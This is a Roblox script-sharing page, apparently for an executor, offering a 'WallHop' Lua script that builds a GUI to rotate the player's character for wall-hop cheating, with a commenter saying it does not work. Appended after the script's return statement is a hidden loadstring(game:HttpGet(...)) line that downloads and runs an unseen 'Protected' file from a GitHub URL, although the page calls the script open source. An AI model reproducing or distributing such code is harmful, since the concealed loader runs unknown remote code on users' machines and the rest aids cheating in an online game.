WallHop
Key RequiredUniversal

WallHop

Universal Script__ub__ub 111.7K views 284 executesUpdated Apr 1, 2025
Unrated
00
Lua Script•237 lines (7868 chars)
--[=[

I don’t know where this came from, I just saw it somewhere. If you’re mad I skidded it, add @3ntk on Discord, and I’ll delete it!

https://discord.gg/dpsNFKvSwv


]=]

-- Instances: 21 | Scripts: 3 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.WallHopScript
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[WallHopScript]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;


-- StarterGui.WallHopScript.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 378, 0, 257);
G2L["2"]["Position"] = UDim2.new(0.11443, 79, 0.18525, 78);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);


-- StarterGui.WallHopScript.Frame.UICorner
G2L["3"] = Instance.new("UICorner", G2L["2"]);



-- StarterGui.WallHopScript.Frame.UIStroke
G2L["4"] = Instance.new("UIStroke", G2L["2"]);
G2L["4"]["Thickness"] = 2.2;
G2L["4"]["Color"] = Color3.fromRGB(251, 251, 251);


-- StarterGui.WallHopScript.Frame.UIDragDetector
G2L["5"] = Instance.new("UIDragDetector", G2L["2"]);
G2L["5"]["DragUDim2"] = UDim2.new(0, -408, 0, -268);


-- StarterGui.WallHopScript.Frame.TextLabel
G2L["6"] = Instance.new("TextLabel", G2L["2"]);
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["TextSize"] = 14;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["Size"] = UDim2.new(0, 332, 0, 29);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Text"] = [[Satan Community]];
G2L["6"]["Position"] = UDim2.new(0.06077, 0, 0.88633, 0);


-- StarterGui.WallHopScript.Frame.TextLabel.UICorner
G2L["7"] = Instance.new("UICorner", G2L["6"]);



-- StarterGui.WallHopScript.Frame.TextLabel
G2L["8"] = Instance.new("TextLabel", G2L["2"]);
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextSize"] = 14;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["Size"] = UDim2.new(0, 276, 0, 50);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[WallHop Script]];
G2L["8"]["Position"] = UDim2.new(-0.00081, 0, -0.00083, 0);


-- StarterGui.WallHopScript.Frame.TextLabel.UICorner
G2L["9"] = Instance.new("UICorner", G2L["8"]);



-- StarterGui.WallHopScript.Frame.FlickButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["TextSize"] = 14;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["a"]["BackgroundTransparency"] = 0.3;
G2L["a"]["Name"] = [[FlickButton]];
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[Flick]];
G2L["a"]["Position"] = UDim2.new(0.05376, 0, 0.22416, 0);


-- StarterGui.WallHopScript.Frame.FlickButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);



-- StarterGui.WallHopScript.Frame.FlickButton.UICorner
G2L["c"] = Instance.new("UICorner", G2L["a"]);



-- StarterGui.WallHopScript.Frame.FlickButton.UIStroke
G2L["d"] = Instance.new("UIStroke", G2L["a"]);
G2L["d"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
G2L["d"]["Thickness"] = 2.9;


-- StarterGui.WallHopScript.Frame.LoopFlickButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["TextSize"] = 14;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["e"]["BackgroundTransparency"] = 0.3;
G2L["e"]["Name"] = [[LoopFlickButton]];
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[loop flick]];
G2L["e"]["Position"] = UDim2.new(0.05376, 0, 0.50432, 0);


-- StarterGui.WallHopScript.Frame.LoopFlickButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);



-- StarterGui.WallHopScript.Frame.LoopFlickButton.UICorner
G2L["10"] = Instance.new("UICorner", G2L["e"]);



-- StarterGui.WallHopScript.Frame.LoopFlickButton.UIStroke
G2L["11"] = Instance.new("UIStroke", G2L["e"]);
G2L["11"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
G2L["11"]["Thickness"] = 2.9;


-- StarterGui.WallHopScript.Frame.Seconds
G2L["12"] = Instance.new("TextBox", G2L["2"]);
G2L["12"]["CursorPosition"] = -1;
G2L["12"]["Name"] = [[Seconds]];
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextColor3"] = Color3.fromRGB(249, 249, 249);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(64, 64, 64);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/FredokaOne.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 115, 0, 140);
G2L["12"]["Position"] = UDim2.new(0.65079, 0, 0.19373, 0);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[Time for loop (In seconds)]];


-- StarterGui.WallHopScript.Frame.Seconds.UIStroke
G2L["13"] = Instance.new("UIStroke", G2L["12"]);
G2L["13"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
G2L["13"]["Thickness"] = 2.9;


-- StarterGui.WallHopScript.Frame.Seconds.UICorner
G2L["14"] = Instance.new("UICorner", G2L["12"]);



-- StarterGui.WallHopScript.Frame.Seconds.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["12"]);



-- StarterGui.WallHopScript.Frame.FlickButton.LocalScript
local function C_b()
local script = G2L["b"];
	local player = game.Players.LocalPlayer
	local character = player.Character or player.CharacterAdded:Wait()
	local hrp = character:WaitForChild("HumanoidRootPart")
	
	script.Parent.MouseButton1Click:Connect(function() 
		hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(-50), 0)
		task.wait(0.1)
		hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(70), 0)
		task.wait(1.5)
	end)
	
	
end;
task.spawn(C_b);
-- StarterGui.WallHopScript.Frame.LoopFlickButton.LocalScript
local function C_f()
local script = G2L["f"];
	local player = game.Players.LocalPlayer
	local character = player.Character or player.CharacterAdded:Wait()
	local hrp = character:WaitForChild("HumanoidRootPart")
	local rotating = false
	
	local function getRotationInterval()
	    local textBox = script.Parent.Parent:FindFirstChild("Seconds") -- Assuming TextBox is a sibling of the button
	    if textBox then
	        local seconds = tonumber(textBox.Text)
	        if seconds and seconds > 0 then
	            return seconds
	        end
	    end
	    return 1 -- Default to 1 second if no valid input
	end
	
	script.Parent.MouseButton1Click:Connect(function() 
	    rotating = not rotating
	    if rotating then
	        script.Parent.Text = "Stop Flicking"
	        while rotating do
	            hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(-60), 0)
	            task.wait(getRotationInterval())
	            hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(60), 0)
	            task.wait(getRotationInterval())
	        end
	    else
	        script.Parent.Text = "Loop Flick"
	    end
	end)
	
	
end;
task.spawn(C_f);
-- StarterGui.WallHopScript.Frame.Seconds.LocalScript
local function C_15()
local script = G2L["15"];
	
end;
task.spawn(C_15);

return G2L["1"], require;

task.wait(0.5)
loadstring(game:HttpGet("https://raw.githubusercontent.com/aa8283/i/refs/heads/main/Protected_2547730226887233.txt"))()

Features & Information

open source xd

Community Comments (1)

It doesnt work for me

More Scripts for Universal Scripts